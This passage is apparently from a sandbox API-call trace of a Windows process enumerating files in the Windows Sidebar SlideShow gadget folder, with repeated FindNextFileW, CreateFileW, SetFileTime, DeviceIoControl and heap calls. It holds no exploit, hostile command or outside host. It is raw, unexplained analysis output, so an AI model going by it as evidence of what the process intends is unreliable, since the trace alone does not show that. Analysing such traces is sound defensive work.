ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1910, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0090.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 1 [0090.311] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideShow.html", cAlternateFileName="")) returned 0 [0090.311] GetLastError () returned 0x12 [0090.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340d08) returned 1 [0090.312] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0090.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340c00) returned 1 [0090.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb0ffddc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb0ffddc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2732, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.312] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0090.313] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.314] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.314] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.314] NtClose (Handle=0x168) returned 0x0 [0090.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340c00) returned 1 [0090.314] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.316] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.316] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7f0e8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbae7f0e8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0090.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340d08 [0090.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3438 [0090.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341230 [0090.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.318] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="in_sidebar", cAlternateFileName="")) returned 1 [0090.318] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb14c09c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb14c09c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0090.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3458 [0090.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341338 [0090.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.320] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 1 [0090.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3478 [0090.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341440 [0090.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.321] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbadc0a0d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbadc0a0d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1721fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_rest.png", cAlternateFileName="")) returned 1 [0090.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3498 [0090.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341860 [0090.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.323] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on_desktop", cAlternateFileName="")) returned 1 [0090.323] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7f0e8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbae7f0e8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1 [0090.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f34b8 [0090.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341968 [0090.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9300) returned 0x135c9e8 [0090.325] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaea5247, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaea5247, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1be4bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_hov.png", cAlternateFileName="")) returned 1 [0090.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f34d8 [0090.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341a70 [0090.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.326] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaecb3a6, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaecb3a6, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1e461c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb11, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_rest.png", cAlternateFileName="")) returned 1 [0090.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f34f8 [0090.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341b78 [0090.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.328] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaef1505, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaef1505, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1e461c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_down.png", cAlternateFileName="")) returned 1 [0090.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.340] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.340] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3518 [0090.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341c80 [0090.341] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.341] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf17664, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf17664, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb20a77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 1 [0090.341] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3538 [0090.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341d88 [0090.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.343] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf17664, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf17664, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb256a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb46, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_rest.png", cAlternateFileName="")) returned 1 [0090.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3558 [0090.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341e90 [0090.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.345] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf3d7c3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf3d7c3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb256a3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_down.png", cAlternateFileName="")) returned 1 [0090.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3578 [0090.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1341f98 [0090.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.346] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf3d7c3, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf3d7c3, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 1 [0090.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3598 [0090.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13420a0 [0090.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.348] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf89a81, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf89a81, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_rest.png", cAlternateFileName="")) returned 1 [0090.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f35b8 [0090.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13421a8 [0090.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.350] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf89a81, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaf89a81, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb27cb9c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_down.png", cAlternateFileName="")) returned 1 [0090.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f35d8 [0090.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13422b0 [0090.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.351] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbafafbe0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbafafbe0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb31511c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_hov.png", cAlternateFileName="")) returned 1 [0090.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 